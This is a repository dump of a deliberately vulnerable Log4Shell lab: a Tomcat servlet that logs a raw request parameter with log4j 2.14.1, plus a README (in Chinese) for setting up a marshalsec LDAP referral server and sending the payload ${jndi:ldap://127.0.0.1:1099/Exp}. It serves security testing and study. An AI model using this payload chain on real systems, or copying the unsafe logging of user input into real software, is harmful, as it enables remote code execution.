├── .gitignore
├── README.md
├── log4j_demo
├── log4j_demo.iml
├── out
│ ├── artifacts
│ │ ├── log4j_demo
│ │ │ └── log4j_demo.war
│ │ └── log4j_demo_war_exploded
│ │ │ ├── WEB-INF
│ │ │ ├── classes
│ │ │ │ └── HelloServlet.class
│ │ │ ├── lib
│ │ │ │ ├── log4j-api-2.14.1.jar
│ │ │ │ ├── log4j-core-2.14.1.jar
│ │ │ │ └── servlet-api.jar
│ │ │ └── web.xml
│ │ │ └── index.jsp
│ └── production
│ │ └── log4j_demo
│ │ └── HelloServlet.class
├── src
│ └── HelloServlet.java
└── web
│ ├── WEB-INF
│ ├── lib
│ │ ├── log4j-api-2.14.1.jar
│ │ ├── log4j-core-2.14.1.jar
│ │ └── servlet-api.jar
│ └── web.xml
│ └── index.jsp
└── pic
├── image-20211210160538626.png
└── image-20211210160816201.png
/.gitignore:
--------------------------------------------------------------------------------
1 | .idea/
2 | .DS_Store
3 |
4 | # Binaries for programs and plugins
5 | *.exe
6 | *.exe~
7 | *.dll
8 | *.so
9 | *.dylib
10 |
11 | # Test binary, built with `go test -c`
12 | *.test
13 | _test
14 | _testmain.go
15 |
16 | # Output of the go coverage tool, specifically when used with LiteIDE
17 | *.out
18 |
19 | # Dependency directories (remove the comment below to include it)
20 | vendor/
21 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # log4j2 jndi tomcat 漏洞环境
2 |
3 | ## 部署war包
4 |
5 | ```
6 | mv log4j_demo/out/artifacts/log4j_demo tomcat/webapps
7 | ```
8 |
9 | ## 基础操作
10 |
11 | ```
12 | cd marshalsec
13 |
14 | python3 -m http.server 8888
15 |
16 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8888/#Exp 1099
17 | ```
18 |
19 | ## 测试
20 |
21 | ```
22 | ${jndi:ldap://127.0.0.1:1099/Exp}
23 | ```
24 |
25 | 
26 |
27 |
28 |
29 | 
--------------------------------------------------------------------------------
/log4j_demo/log4j_demo.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
--------------------------------------------------------------------------------
/log4j_demo/out/artifacts/log4j_demo/log4j_demo.war:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jweny/log4j-vul-env/bdb1547cec1a4084ee33b6f1bd1121833ef50a3f/log4j_demo/out/artifacts/log4j_demo/log4j_demo.war
--------------------------------------------------------------------------------
/log4j_demo/out/artifacts/log4j_demo_war_exploded/WEB-INF/classes/HelloServlet.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jweny/log4j-vul-env/bdb1547cec1a4084ee33b6f1bd1121833ef50a3f/log4j_demo/out/artifacts/log4j_demo_war_exploded/WEB-INF/classes/HelloServlet.class
--------------------------------------------------------------------------------
/log4j_demo/out/artifacts/log4j_demo_war_exploded/WEB-INF/lib/log4j-api-2.14.1.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jweny/log4j-vul-env/bdb1547cec1a4084ee33b6f1bd1121833ef50a3f/log4j_demo/out/artifacts/log4j_demo_war_exploded/WEB-INF/lib/log4j-api-2.14.1.jar
--------------------------------------------------------------------------------
/log4j_demo/out/artifacts/log4j_demo_war_exploded/WEB-INF/lib/log4j-core-2.14.1.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jweny/log4j-vul-env/bdb1547cec1a4084ee33b6f1bd1121833ef50a3f/log4j_demo/out/artifacts/log4j_demo_war_exploded/WEB-INF/lib/log4j-core-2.14.1.jar
--------------------------------------------------------------------------------
/log4j_demo/out/artifacts/log4j_demo_war_exploded/WEB-INF/lib/servlet-api.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jweny/log4j-vul-env/bdb1547cec1a4084ee33b6f1bd1121833ef50a3f/log4j_demo/out/artifacts/log4j_demo_war_exploded/WEB-INF/lib/servlet-api.jar
--------------------------------------------------------------------------------
/log4j_demo/out/artifacts/log4j_demo_war_exploded/WEB-INF/web.xml:
--------------------------------------------------------------------------------
1 |
2 |
6 |
7 |
8 | hello
9 | HelloServlet
10 |
11 |
12 | hello
13 | /hello
14 |
15 |
16 |
--------------------------------------------------------------------------------
/log4j_demo/out/artifacts/log4j_demo_war_exploded/index.jsp:
--------------------------------------------------------------------------------
1 | <%@ page contentType="text/html;charset=UTF-8" language="java" %>
2 |
3 |
4 | Log4j Demo
5 |
6 |
7 | Log
8 |
12 |
13 |
14 |
--------------------------------------------------------------------------------
/log4j_demo/out/production/log4j_demo/HelloServlet.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jweny/log4j-vul-env/bdb1547cec1a4084ee33b6f1bd1121833ef50a3f/log4j_demo/out/production/log4j_demo/HelloServlet.class
--------------------------------------------------------------------------------
/log4j_demo/src/HelloServlet.java:
--------------------------------------------------------------------------------
1 | import org.apache.logging.log4j.LogManager;
2 | import org.apache.logging.log4j.Logger;
3 |
4 | import javax.servlet.ServletException;
5 | import javax.servlet.http.HttpServlet;
6 | import javax.servlet.http.HttpServletRequest;
7 | import javax.servlet.http.HttpServletResponse;
8 | import java.io.IOException;
9 |
10 | public class HelloServlet extends HttpServlet {
11 |
12 | public static final Logger logger = LogManager.getLogger(HelloServlet.class);
13 |
14 | @Override
15 | public void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
16 | resp.getWriter().println("doGet");
17 | }
18 |
19 | @Override
20 | protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
21 | String log = req.getParameter("log");
22 | logger.error(log);
23 | }
24 | }
25 |
--------------------------------------------------------------------------------
/log4j_demo/web/WEB-INF/lib/log4j-api-2.14.1.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jweny/log4j-vul-env/bdb1547cec1a4084ee33b6f1bd1121833ef50a3f/log4j_demo/web/WEB-INF/lib/log4j-api-2.14.1.jar
--------------------------------------------------------------------------------
/log4j_demo/web/WEB-INF/lib/log4j-core-2.14.1.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jweny/log4j-vul-env/bdb1547cec1a4084ee33b6f1bd1121833ef50a3f/log4j_demo/web/WEB-INF/lib/log4j-core-2.14.1.jar
--------------------------------------------------------------------------------
/log4j_demo/web/WEB-INF/lib/servlet-api.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jweny/log4j-vul-env/bdb1547cec1a4084ee33b6f1bd1121833ef50a3f/log4j_demo/web/WEB-INF/lib/servlet-api.jar
--------------------------------------------------------------------------------
/log4j_demo/web/WEB-INF/web.xml:
--------------------------------------------------------------------------------
1 |
2 |
6 |
7 |
8 | hello
9 | HelloServlet
10 |
11 |
12 | hello
13 | /hello
14 |
15 |
16 |
--------------------------------------------------------------------------------
/log4j_demo/web/index.jsp:
--------------------------------------------------------------------------------
1 | <%@ page contentType="text/html;charset=UTF-8" language="java" %>
2 |
3 |
4 | Log4j Demo
5 |
6 |
7 | Log
8 |
12 |
13 |
14 |
--------------------------------------------------------------------------------
/pic/image-20211210160538626.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jweny/log4j-vul-env/bdb1547cec1a4084ee33b6f1bd1121833ef50a3f/pic/image-20211210160538626.png
--------------------------------------------------------------------------------
/pic/image-20211210160816201.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jweny/log4j-vul-env/bdb1547cec1a4084ee33b6f1bd1121833ef50a3f/pic/image-20211210160816201.png
--------------------------------------------------------------------------------